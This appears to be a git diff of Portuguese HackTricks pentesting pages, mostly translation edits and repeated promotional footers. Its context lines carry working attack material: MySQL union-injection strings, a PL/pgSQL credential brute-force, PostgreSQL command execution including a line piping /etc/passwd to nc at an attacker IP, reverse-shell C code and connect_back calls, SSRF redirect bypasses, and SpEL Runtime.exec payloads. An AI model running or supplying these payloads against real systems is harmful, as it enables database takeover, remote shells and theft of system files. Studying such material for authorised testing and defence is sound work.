* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
@ -24,7 +24,7 @@ Confira os seguintes blogs:
|
|||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
@ -106,7 +106,7 @@ UniOn SeLect 1,2
|
|||
UniOn SeLect 1,2,3
|
||||
...
|
||||
```
|
||||
## Baseado em Union no MySQL
|
||||
## Baseado em Union MySQL
|
||||
```sql
|
||||
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
|
||||
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
|
||||
|
@ -175,7 +175,7 @@ mysql> select version();
|
|||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Brute Force de Senha PL/pgSQL
|
||||
# Bruteforce de Senha PL/pgSQL
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -7,14 +7,14 @@
|
|||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
**Encontre [mais informações sobre esse ataque no artigo original](http://www.leidecker.info/pgshell/Having\_Fun\_With\_PostgreSQL.txt)**.
|
||||
|
||||
PL/pgSQL é uma **linguagem de programação completa** que vai além das capacidades do SQL, oferecendo **controle procedural aprimorado**. Isso inclui a utilização de loops e várias estruturas de controle. Funções criadas na linguagem PL/pgSQL podem ser invocadas por declarações SQL e gatilhos, ampliando o escopo das operações no ambiente do banco de dados.
|
||||
PL/pgSQL é uma **linguagem de programação completa** que vai além das capacidades do SQL, oferecendo **controle procedural aprimorado**. Isso inclui a utilização de loops e várias estruturas de controle. Funções criadas na linguagem PL/pgSQL podem ser invocadas por declarações SQL e gatilhos, ampliando o escopo das operações dentro do ambiente do banco de dados.
|
||||
|
||||
Você pode abusar dessa linguagem para solicitar ao PostgreSQL que faça força bruta nas credenciais dos usuários, mas elas devem existir no banco de dados. Você pode verificar a existência delas usando:
|
||||
```sql
|
||||
|
@ -123,7 +123,7 @@ select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
|
|||
* Trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
@ -22,9 +22,9 @@ Além disso, tenha em mente que **se você não souber como** [**fazer upload de
|
|||
|
||||
### RCE no Linux
|
||||
|
||||
**Para mais informações, consulte: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
|
||||
**Para mais informações, acesse: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
|
||||
|
||||
A execução de comandos do sistema a partir do PostgreSQL 8.1 e versões anteriores é um processo claramente documentado e direto. É possível usar este: [módulo Metasploit](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
|
||||
A execução de comandos do sistema a partir do PostgreSQL 8.1 e versões anteriores é um processo claramente documentado e direto. É possível utilizar este: [módulo Metasploit](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
|
||||
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
|
||||
|
@ -38,7 +38,7 @@ CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' L
|
|||
|
||||
<summary>Escrever arquivo binário a partir de base64</summary>
|
||||
|
||||
Para escrever um binário em um arquivo no postgres, você pode precisar usar base64, isso será útil para esse propósito:
|
||||
Para escrever um arquivo binário em postgres você pode precisar usar base64, isso será útil para esse propósito:
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
|
||||
$$
|
||||
|
@ -183,7 +183,7 @@ CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.1
|
|||
SELECT remote_exec('calc.exe', 2);
|
||||
DROP FUNCTION remote_exec(text, integer);
|
||||
```
|
||||
Em [**aqui**](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html) você pode encontrar este shell reverso:
|
||||
Em [**aqui**](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html) você pode encontrar esse shell reverso:
|
||||
```c
|
||||
#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
|
||||
#define PG_REVSHELL_CALLHOME_PORT "4444"
|
||||
|
@ -286,7 +286,7 @@ Uma vez que você tenha carregado a extensão (com o nome de poc.dll para este e
|
|||
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
|
||||
select connect_back('192.168.100.54', 1234);
|
||||
```
|
||||
_Observação: você não precisa adicionar a extensão `.dll`, pois a função create a adicionará._
|
||||
_Observação: não é necessário adicionar a extensão `.dll`, pois a função create a adicionará._
|
||||
|
||||
Para mais informações, **leia a** [**publicação original aqui**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
|
||||
Naquela publicação, **este foi o** [**código usado para gerar a extensão do postgres**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_para aprender como compilar uma extensão do postgres, leia qualquer uma das versões anteriores_).\
|
||||
|
@ -340,7 +340,7 @@ print(" drop function connect_back(text, integer);")
|
|||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
@ -71,7 +71,7 @@ SELECT cmd("ls"); #RCE with popen or execve
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Obter usuário do sistema operacional" %}
|
||||
{% tab title="Obter usuário do SO" %}
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION get_user (pkg text)
|
||||
RETURNS VARCHAR(65535) stable
|
||||
|
@ -290,9 +290,6 @@ LANGUAGE 'plpythonu';
|
|||
|
||||
SELECT req3('https://google.com'); #Request using python3
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
## pgSQL
|
||||
|
||||
Verifique a seguinte página:
|
||||
|
@ -313,10 +310,10 @@ Verifique a seguinte página:
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,11 +2,11 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
|
@ -173,7 +173,7 @@ A ferramenta [**recollapse**](https://github.com/0xacb/recollapse) pode gerar va
|
|||
|
||||
### Bypass via redirecionamento
|
||||
|
||||
Pode ser possível que o servidor esteja **filtrando a requisição original** de um SSRF **mas não** uma possível resposta de **redirecionamento** para essa requisição.\
|
||||
Pode ser possível que o servidor esteja **filtrando a solicitação original** de um SSRF **mas não** uma possível resposta de **redirecionamento** para essa solicitação.\
|
||||
Por exemplo, um servidor vulnerável ao SSRF via: `url=https://www.google.com/` pode estar **filtrando o parâmetro de url**. Mas se você usar um [servidor python para responder com um 302](https://pastebin.com/raw/ywAUhFrv) para o local para onde deseja redirecionar, você pode ser capaz de **acessar endereços IP filtrados** como 127.0.0.1 ou até mesmo **protocolos filtrados** como gopher.\
|
||||
[Confira este relatório.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
|
||||
```python
|
||||
|
@ -211,7 +211,7 @@ O *truque da barra invertida* explora uma diferença entre o [Padrão de URL WHA
|
|||
imagem de [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/)
|
||||
|
||||
|
||||
# Referências
|
||||
## Referências
|
||||
* [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)
|
||||
|
||||
|
@ -224,7 +224,7 @@ Encontre vulnerabilidades que mais importam para que você possa corrigi-las mai
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
|
@ -232,6 +232,6 @@ Outras maneiras de apoiar o HackTricks:
|
|||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
@ -25,7 +25,7 @@ A Linguagem de Expressão (EL) é fundamental no JavaEE para conectar a camada d
|
|||
- **Spring Framework**: Aplicado em vários módulos como Segurança e Dados.
|
||||
- **Uso Geral**: Através da API SpEL por desenvolvedores em linguagens baseadas em JVM como Java, Kotlin e Scala.
|
||||
|
||||
EL está presente em tecnologias JavaEE, ambientes autônomos e é reconhecível através das extensões de arquivo `.jsp` ou `.jsf`, erros de pilha e termos como "Servlet" nos cabeçalhos. No entanto, suas características e o uso de certos caracteres podem depender da versão.
|
||||
EL está presente em tecnologias JavaEE, ambientes autônomos e é reconhecível por meio de extensões de arquivo `.jsp` ou `.jsf`, erros de pilha e termos como "Servlet" nos cabeçalhos. No entanto, suas características e o uso de certos caracteres podem depender da versão.
|
||||
|
||||
{% hint style="info" %}
|
||||
Dependendo da **versão do EL**, algumas **funcionalidades** podem estar **Ativadas** ou **Desativadas** e geralmente alguns **caracteres** podem ser **proibidos**.
|
||||
|
@ -74,15 +74,15 @@ Enter a String to evaluate:
|
|||
{5*5}
|
||||
[25]
|
||||
```
|
||||
Note como no exemplo anterior o termo `{5*5}` foi **avaliado**.
|
||||
Observe como no exemplo anterior o termo `{5*5}` foi **avaliado**.
|
||||
|
||||
## **Tutorial Baseado em CVE**
|
||||
|
||||
Confira **neste post: [https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a)**
|
||||
Verifique em **este post: [https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a)**
|
||||
|
||||
## Payloads
|
||||
|
||||
### Ações Básicas
|
||||
### Ações básicas
|
||||
```bash
|
||||
#Basic string operations examples
|
||||
{"a".toString()}
|
||||
|
@ -195,11 +195,11 @@ T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec
|
|||
```
|
||||
### Inspecionando o ambiente
|
||||
|
||||
* `applicationScope` - variáveis globais da aplicação
|
||||
* `requestScope` - variáveis da requisição
|
||||
* `initParam` - variáveis de inicialização da aplicação
|
||||
* `sessionScope` - variáveis de sessão
|
||||
* `param.X` - valor do parâmetro onde X é o nome de um parâmetro http
|
||||
- `applicationScope` - variáveis globais da aplicação
|
||||
- `requestScope` - variáveis da requisição
|
||||
- `initParam` - variáveis de inicialização da aplicação
|
||||
- `sessionScope` - variáveis de sessão
|
||||
- `param.X` - valor do parâmetro onde X é o nome de um parâmetro http
|
||||
|
||||
Você precisará fazer o cast dessas variáveis para String como:
|
||||
```bash
|
||||
|
@ -215,7 +215,7 @@ ${user}
|
|||
${password}
|
||||
${employee.FirstName}
|
||||
```
|
||||
## Bypass do WAF
|
||||
## Bypass de WAF
|
||||
|
||||
